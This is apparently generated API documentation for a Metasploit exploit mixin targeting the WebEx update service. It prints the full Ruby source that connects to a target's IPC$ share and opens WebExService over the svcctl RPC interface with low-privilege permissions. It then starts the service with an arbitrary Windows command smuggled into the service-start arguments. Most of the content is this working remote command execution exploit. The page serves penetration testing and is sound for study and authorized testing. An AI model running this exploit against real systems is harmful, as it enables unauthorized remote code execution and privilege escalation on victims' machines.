Module: Msf::Exploit::Remote::SMB::Client::WebExec

Includes:: Failure, DCERPC, Authenticated, Windows_Constants

Defined in:: lib/msf/core/exploit/remote/smb/client/web_exec.rb

Overview

Makes use of a WebEx service vulnerability that works similarly to psexec.

This code was stolen straight out of the psexec module which was stolen from the standalone Psexec tool. Thanks very much for all who contributed to that module!! Instead of uploading and running a binary.

Constant Summary

Constants included from Windows_Constants

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::SMB::Client

#simple

Attributes included from Tcp

#sock

Attributes included from DCERPC

#dcerpc, #handle

Instance Method Summary collapse

#execute_single_command(command, opts) ⇒ Object
#initialize(info = {}) ⇒ Object
#wexec(disconnect = true) ⇒ Boolean

Executes a single windows command.

Methods included from Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options

Methods included from Kerberos::Ticket::Storage

#kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from Msf::Exploit::Remote::SMB::Client

#connect, #domain, #domain_username_split, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_fingerprint_windows_lang, #smb_fingerprint_windows_sp, #smb_hostname, #smb_lanman_netshareenumall, #smb_login, #smb_lookup_share_type, #smb_netshareenumall, #smb_netsharegetinfo, #smb_open, #smb_peer_lm, #smb_peer_os, #smb_srvsvc_netshareenumall, #smb_srvsvc_netsharegetinfo, #smbhost, #splitname, #unicode

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Methods included from DCERPC

#dcerpc_bind, #dcerpc_call, #dcerpc_getarch, #dcerpc_handle, #unicode

Methods included from DCERPC_LSA

#lsa_open_policy

Methods included from DCERPC_MGMT

#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening

Methods included from DCERPC_EPM

#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list

Instance Method Details

#execute_single_command(command, opts) ⇒ `Object`

# File 'lib/msf/core/exploit/remote/smb/client/web_exec.rb', line 35

def execute_single_command(command, opts)
  command = command.split(/ /)
  svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command])
  case svc_status
  when ERROR_SUCCESS
    # This happens a lot, so don't print it
    # print_good("Service started successfully...")
  when ERROR_FILE_NOT_FOUND
    print_error("Service failed to start - FILE_NOT_FOUND")
  when ERROR_ACCESS_DENIED
    print_error("Service failed to start - ACCESS_DENIED")
  when ERROR_SERVICE_REQUEST_TIMEOUT
    print_good("Service start timed out")
  else
    print_error("Service failed to start, ERROR_CODE: #{svc_status}")
  end
end

#initialize(info = {}) ⇒ `Object`

# File 'lib/msf/core/exploit/remote/smb/client/web_exec.rb', line 23

def initialize(info = {})
  super
  register_options(
    [
      OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']),
    ], self.class)

  register_advanced_options(
    [
    ], self.class)
end

#wexec(disconnect = true) ⇒ `Boolean`

Executes a single windows command.

If you want to retrieve the output of your command you’ll have to echo it to a .txt file and then use the #smb_read_file method to retrieve it. Make sure to remove the files manually or use FileDropper#register_files_for_cleanup to have the FileDropper#cleanup and FileDropper#on_new_session handlers do it for you.

Parameters:

command (String) —

Should be a valid windows command
disconnect (Boolean) (defaults to: true) —

Disconnect afterwards

Returns:

(Boolean) —

Whether everything went well

# File 'lib/msf/core/exploit/remote/smb/client/web_exec.rb', line 65

def wexec(disconnect=true)
  simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
  handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
  vprint_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  vprint_status("Bound to #{handle} ...")
  vprint_status("Obtaining a service manager handle...")

  svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
  # This is the only permission non-admin gets on Windows 7 (and likely others)
  scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001)

  if scm_status == ERROR_ACCESS_DENIED
    print_error("ERROR_ACCESS_DENIED opening the Service Manager")
  end

  return false unless scm_handle

  # These are the best permissions I could use for a non-admin account on Windows 7
  svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010)

  if svc_handle.nil?
    print_error("No service handle retrieved")
    return false
  end

  vprint_status("Starting the service...")
  begin
    yield({ :svc_client => svc_client, :svc_handle => svc_handle })
  ensure
    vprint_status("Closing service handle...")
    svc_client.closehandle(svc_handle)
  end

  if disconnect
    simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
  end

  true
end